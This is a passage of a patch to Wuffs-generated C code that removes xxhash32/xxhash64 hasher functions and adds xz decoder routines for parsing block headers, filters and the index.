>> 14u)); -- v_ret += self->private_impl.f_length_modulo_u32; -- } else { -- v_ret += 374761393u; -- v_ret += self->private_impl.f_length_modulo_u32; -- } -- v_n = 16u; -- v_n = wuffs_base__u32__min(v_n, ((uint32_t)(self->private_impl.f_buf_len))); -- if (4u <= v_n) { -- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | -- (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | -- (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | -- (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); -- v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); -- v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); -- v_ret *= 668265263u; -- v_i = 4u; -- } -- if (8u <= v_n) { -- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | -- (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | -- (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | -- (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); -- v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); -- v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); -- v_ret *= 668265263u; -- v_i = 8u; -- } -- if (12u <= v_n) { -- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | -- (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | -- (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | -- (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); -- v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); -- v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); -- v_ret *= 668265263u; -- v_i = 12u; -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); - } -- while (v_i < v_n) { -- v_ret += ((uint32_t)(((uint32_t)(self->private_impl.f_buf_data[v_i])) * 374761393u)); -- v_ret = (((uint32_t)(v_ret << 11u)) | (v_ret >> 21u)); -- v_ret *= 2654435761u; -- v_i += 1u; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- v_ret ^= (v_ret >> 15u); -- v_ret *= 2246822519u; -- v_ret ^= (v_ret >> 13u); -- v_ret *= 3266489917u; -- v_ret ^= (v_ret >> 16u); -- return v_ret; --} -- --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) -- --// ---------------- Status Codes Implementations - --// ---------------- Private Consts -+ return status; -+} - --#define WUFFS_XXHASH64__XXH_PRIME64_1 11400714785074694791 -+// -------- func xz.decoder.decode_block_header_with_padding - --#define WUFFS_XXHASH64__XXH_PRIME64_2 14029467366897019727 -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_xz__decoder__decode_block_header_with_padding( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --#define WUFFS_XXHASH64__XXH_PRIME64_3 1609587929392839161 -+ uint8_t v_c8 = 0; -+ uint64_t v_padded_size_have = 0; -+ uint64_t v_padded_size_want = 0; -+ uint64_t v_smark = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - --#define WUFFS_XXHASH64__XXH_PRIME64_4 9650029242287828579 -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - --#define WUFFS_XXHASH64__XXH_PRIME64_5 2870177450012600261 -+ uint32_t coro_susp_point = self->private_impl.p_decode_block_header_with_padding; -+ if (coro_susp_point) { -+ v_padded_size_have = self->private_data.s_decode_block_header_with_padding.v_padded_size_have; -+ v_padded_size_want = self->private_data.s_decode_block_header_with_padding.v_padded_size_want; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - --#define WUFFS_XXHASH64__INITIAL_V0 6983438078262162902 -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ v_padded_size_want = ((uint64_t)((((uint64_t)(v_c8)) * 4u) - 1u)); -+ while (true) { -+ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_1 = wuffs_xz__decoder__decode_block_header_sans_padding(self, a_src); -+ v_status = t_1; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ wuffs_private_impl__u64__sat_add_indirect(&v_padded_size_have, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ } -+ if (v_padded_size_have > v_padded_size_want) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); -+ goto exit; -+ } -+ while (v_padded_size_have < v_padded_size_want) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ if (v_c8 != 0u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); -+ goto exit; -+ } -+ v_padded_size_have += 1u; -+ } - --#define WUFFS_XXHASH64__INITIAL_V1 14029467366897019727 -+ ok: -+ self->private_impl.p_decode_block_header_with_padding = 0; -+ goto exit; -+ } - --#define WUFFS_XXHASH64__INITIAL_V2 0 -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_block_header_with_padding = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_block_header_with_padding.v_padded_size_have = v_padded_size_have; -+ self->private_data.s_decode_block_header_with_padding.v_padded_size_want = v_padded_size_want; - --#define WUFFS_XXHASH64__INITIAL_V3 7046029288634856825 -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } - --// ---------------- Private Initializer Prototypes -+ return status; -+} - --// ---------------- Private Function Prototypes -+// -------- func xz.decoder.decode_block_header_sans_padding - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_xxhash64__hasher__up( -- wuffs_xxhash64__hasher* self, -- wuffs_base__slice_u8 a_x); -- --// ---------------- VTables -- --const wuffs_base__hasher_u64__func_ptrs --wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64 = { -- (uint64_t(*)(const void*))(&wuffs_xxhash64__hasher__checksum_u64), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_xxhash64__hasher__get_quirk), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_xxhash64__hasher__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update), -- (uint64_t(*)(void*, -- wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update_u64), --}; -+static wuffs_base__status -+wuffs_xz__decoder__decode_block_header_sans_padding( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --// ---------------- Initializer Implementations -+ uint8_t v_c8 = 0; -+ uint32_t v_c32 = 0; -+ uint32_t v_alignment = 0; -+ uint8_t v_flags = 0; -+ uint8_t v_filter_id = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint32_t v_shift = 0; -+ uint32_t v_f = 0; -+ uint32_t v_k = 0; - --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_xxhash64__hasher__initialize( -- wuffs_xxhash64__hasher* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_block_header_sans_padding; -+ if (coro_susp_point) { -+ v_flags = self->private_data.s_decode_block_header_sans_padding.v_flags; -+ v_filter_id = self->private_data.s_decode_block_header_sans_padding.v_filter_id; -+ v_shift = self->private_data.s_decode_block_header_sans_padding.v_shift; -+ v_f = self->private_data.s_decode_block_header_sans_padding.v_f; - } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_flags = t_0; - } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ self->private_impl.f_num_non_final_filters = ((uint32_t)(((uint8_t)(v_flags & 3u)))); -+ if (((uint8_t)(v_flags & 60u)) != 0u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); -+ goto exit; -+ } -+ self->private_impl.f_block_has_compressed_size = (((uint8_t)(v_flags & 64u)) != 0u); -+ if (self->private_impl.f_block_has_compressed_size) { -+ self->private_impl.f_block_compressed_size = 0u; -+ v_shift = 0u; -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (v_shift <= 56u) { -+ self->private_impl.f_block_compressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); -+ if (v_c8 >= 128u) { -+ v_shift += 7u; -+ continue; -+ } else if ((v_c8 == 0u) && (v_shift > 0u)) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); -+ goto exit; -+ } -+ break; -+ } else if (v_c8 != 1u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); -+ goto exit; -+ } -+ self->private_impl.f_block_compressed_size |= (((uint64_t)(1u)) << 63u); -+ break; -+ } -+ } -+ self->private_impl.f_block_has_uncompressed_size = (((uint8_t)(v_flags & 128u)) != 0u); -+ if (self->private_impl.f_block_has_uncompressed_size) { -+ self->private_impl.f_block_uncompressed_size = 0u; -+ v_shift = 0u; -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ if (v_shift <= 56u) { -+ self->private_impl.f_block_uncompressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); -+ if (v_c8 >= 128u) { -+ v_shift += 7u; -+ continue; -+ } else if ((v_c8 == 0u) && (v_shift > 0u)) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); -+ goto exit; -+ } -+ break; -+ } else if (v_c8 != 1u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); -+ goto exit; -+ } -+ self->private_impl.f_block_uncompressed_size |= (((uint64_t)(1u)) << 63u); -+ break; -+ } -+ } -+ self->private_impl.f_bcj_x86_prev_mask = 0u; -+ self->private_impl.choosy_apply_non_final_filters = ( -+ &wuffs_xz__decoder__apply_non_final_filters__choosy_default); -+ v_f = 0u; -+ while (v_f < self->private_impl.f_num_non_final_filters) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_filter_id = t_3; -+ } -+ if (v_filter_id == 33u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); -+ goto exit; -+ } else if (v_filter_id == 3u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; -+ } -+ if (v_c8 != 1u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; -+ } -+ self->private_impl.f_filters[v_f] = ((((uint32_t)(v_c8)) << 8u) | 3u); -+ v_k = 0u; -+ while (v_k < 256u) { -+ self->private_data.f_filter_data[v_f][v_k] = 0u; -+ v_k += 1u; -+ } -+ } else if ((v_filter_id < 3u) || (11u < v_filter_id)) { -+ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter); -+ goto exit; -+ } else if (v_f != 0u) { -+ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter_combination); -+ goto exit; -+ } else { -+ self->private_impl.f_filters[v_f] = ((uint32_t)(v_filter_id)); -+ if (v_filter_id == 4u) { -+ self->private_impl.choosy_apply_non_final_filters = ( -+ &wuffs_xz__decoder__apply_filter_04_x86); -+ } else if (v_filter_id == 5u) { -+ self->private_impl.choosy_apply_non_final_filters = ( -+ &wuffs_xz__decoder__apply_filter_05_powerpc); -+ } else if (v_filter_id == 6u) { -+ self->private_impl.choosy_apply_non_final_filters = ( -+ &wuffs_xz__decoder__apply_filter_06_ia64); -+ } else if (v_filter_id == 7u) { -+ self->private_impl.choosy_apply_non_final_filters = ( -+ &wuffs_xz__decoder__apply_filter_07_arm); -+ } else if (v_filter_id == 8u) { -+ self->private_impl.choosy_apply_non_final_filters = ( -+ &wuffs_xz__decoder__apply_filter_08_armthumb); -+ } else if (v_filter_id == 9u) { -+ self->private_impl.choosy_apply_non_final_filters = ( -+ &wuffs_xz__decoder__apply_filter_09_sparc); -+ } else if (v_filter_id == 10u) { -+ self->private_impl.choosy_apply_non_final_filters = ( -+ &wuffs_xz__decoder__apply_filter_0a_arm64); -+ } else { -+ self->private_impl.choosy_apply_non_final_filters = ( -+ &wuffs_xz__decoder__apply_filter_0b_riscv); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_6 = *iop_a_src++; -+ v_c8 = t_6; -+ } -+ if (v_c8 == 0u) { -+ self->private_impl.f_bcj_pos = 0u; -+ } else if (v_c8 == 4u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ uint32_t t_7; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_block_header_sans_padding.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_block_header_sans_padding.scratch; -+ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; -+ if (num_bits_7 == 24) { -+ t_7 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_7 += 8u; -+ *scratch |= ((uint64_t)(num_bits_7)) << 56; -+ } -+ } -+ v_c32 = t_7; -+ } -+ v_alignment = ((uint32_t)(WUFFS_XZ__BCJ_OFFSET_ALIGNMENT[v_filter_id])); -+ if (v_alignment > 0u) { -+ if ((v_c32 % v_alignment) != 0u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_bcj_offset); -+ goto exit; -+ } -+ } -+ self->private_impl.f_bcj_pos = v_c32; -+ } else { -+ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter); -+ goto exit; -+ } -+ } -+ v_f += 1u; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_8 = *iop_a_src++; -+ v_filter_id = t_8; -+ } -+ if (v_filter_id == 33u) { -+ if (self->private_impl.f_lzma_needs_reset) { -+ wuffs_private_impl__ignore_status(wuffs_lzma__decoder__initialize(&self->private_data.f_lzma, -+ sizeof (wuffs_lzma__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_9 = *iop_a_src++; -+ v_c8 = t_9; -+ } -+ if (v_c8 != 1u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_10 = *iop_a_src++; -+ v_c8 = t_10; -+ } -+ v_status = wuffs_lzma__decoder__set_quirk(&self->private_data.f_lzma, 1348001793u, (2u | (((uint64_t)(v_c8)) << 8u))); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); -+ goto exit; -+ } -+ } else if ((v_filter_id < 3u) || (11u < v_filter_id)) { -+ status = wuffs_base__make_status(wuffs_xz__error__unsupported_filter); -+ goto exit; - } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ status = wuffs_base__make_status(wuffs_xz__error__bad_filter); -+ goto exit; - } -- } - -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__hasher_u64.vtable_name = -- wuffs_base__hasher_u64__vtable_name; -- self->private_impl.vtable_for__wuffs_base__hasher_u64.function_pointers = -- (const void*)(&wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64); -- return wuffs_base__make_status(NULL); --} -- --wuffs_xxhash64__hasher* --wuffs_xxhash64__hasher__alloc(void) { -- wuffs_xxhash64__hasher* x = -- (wuffs_xxhash64__hasher*)(calloc(sizeof(wuffs_xxhash64__hasher), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_xxhash64__hasher__initialize( -- x, sizeof(wuffs_xxhash64__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -+ goto ok; -+ ok: -+ self->private_impl.p_decode_block_header_sans_padding = 0; -+ goto exit; - } -- return x; --} -- --size_t --sizeof__wuffs_xxhash64__hasher(void) { -- return sizeof(wuffs_xxhash64__hasher); --} - --// ---------------- Function Implementations -- --// -------- func xxhash64.hasher.get_quirk -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_block_header_sans_padding = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_block_header_sans_padding.v_flags = v_flags; -+ self->private_data.s_decode_block_header_sans_padding.v_filter_id = v_filter_id; -+ self->private_data.s_decode_block_header_sans_padding.v_shift = v_shift; -+ self->private_data.s_decode_block_header_sans_padding.v_f = v_f; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_xxhash64__hasher__get_quirk( -- const wuffs_xxhash64__hasher* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- return 0u; -+ return status; - } - --// -------- func xxhash64.hasher.set_quirk -+// -------- func xz.decoder.verify_index - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_xxhash64__hasher__set_quirk( -- wuffs_xxhash64__hasher* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); --} -+static wuffs_base__status -+wuffs_xz__decoder__verify_index( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --// -------- func xxhash64.hasher.update -+ uint8_t v_c8 = 0; -+ uint32_t v_shift = 0; -+ uint32_t v_hash = 0; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_xxhash64__hasher__update( -- wuffs_xxhash64__hasher* self, -- wuffs_base__slice_u8 a_x) { -- if (!self) { -- return wuffs_base__make_empty_struct(); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } - -- if ((self->private_impl.f_length_modulo_u64 == 0u) && ! self->private_impl.f_length_overflows_u64) { -- self->private_impl.f_v0 = 6983438078262162902u; -- self->private_impl.f_v1 = 14029467366897019727u; -- self->private_impl.f_v2 = 0u; -- self->private_impl.f_v3 = 7046029288634856825u; -+ uint32_t coro_susp_point = self->private_impl.p_verify_index; -+ if (coro_susp_point) { -+ v_shift = self->private_data.s_verify_index.v_shift; - } -- wuffs_xxhash64__hasher__up(self, a_x); -- return wuffs_base__make_empty_struct(); --} -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - --// -------- func xxhash64.hasher.update_u64 -+ if ( ! self->private_impl.f_started_verify_index) { -+ self->private_impl.f_started_verify_index = true; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (v_c8 != 0u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ self->private_impl.f_num_index_blocks = 0u; -+ v_shift = 0u; -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (v_shift <= 56u) { -+ self->private_impl.f_num_index_blocks |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); -+ if (v_c8 >= 128u) { -+ v_shift += 7u; -+ continue; -+ } else if ((v_c8 == 0u) && (v_shift > 0u)) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ break; -+ } else if (v_c8 != 1u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ self->private_impl.f_num_index_blocks |= (((uint64_t)(1u)) << 63u); -+ break; -+ } -+ if (self->private_impl.f_num_index_blocks != self->private_impl.f_num_actual_blocks) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ } -+ while (self->private_impl.f_num_index_blocks > 0u) { -+ self->private_impl.f_num_index_blocks -= 1u; -+ self->private_impl.f_index_block_compressed_size = 0u; -+ v_shift = 0u; -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ if (v_shift <= 56u) { -+ self->private_impl.f_index_block_compressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); -+ if (v_c8 >= 128u) { -+ v_shift += 7u; -+ continue; -+ } else if ((v_c8 == 0u) && (v_shift > 0u)) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ break; -+ } else if (v_c8 != 1u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ self->private_impl.f_index_block_compressed_size |= (((uint64_t)(1u)) << 63u); -+ break; -+ } -+ self->private_impl.f_index_block_uncompressed_size = 0u; -+ v_shift = 0u; -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; -+ } -+ if (v_shift <= 56u) { -+ self->private_impl.f_index_block_uncompressed_size |= (((uint64_t)(((uint8_t)(v_c8 & 127u)))) << v_shift); -+ if (v_c8 >= 128u) { -+ v_shift += 7u; -+ continue; -+ } else if ((v_c8 == 0u) && (v_shift > 0u)) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ break; -+ } else if (v_c8 != 1u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ self->private_impl.f_index_block_uncompressed_size |= (((uint64_t)(1u)) << 63u); -+ break; -+ } -+ 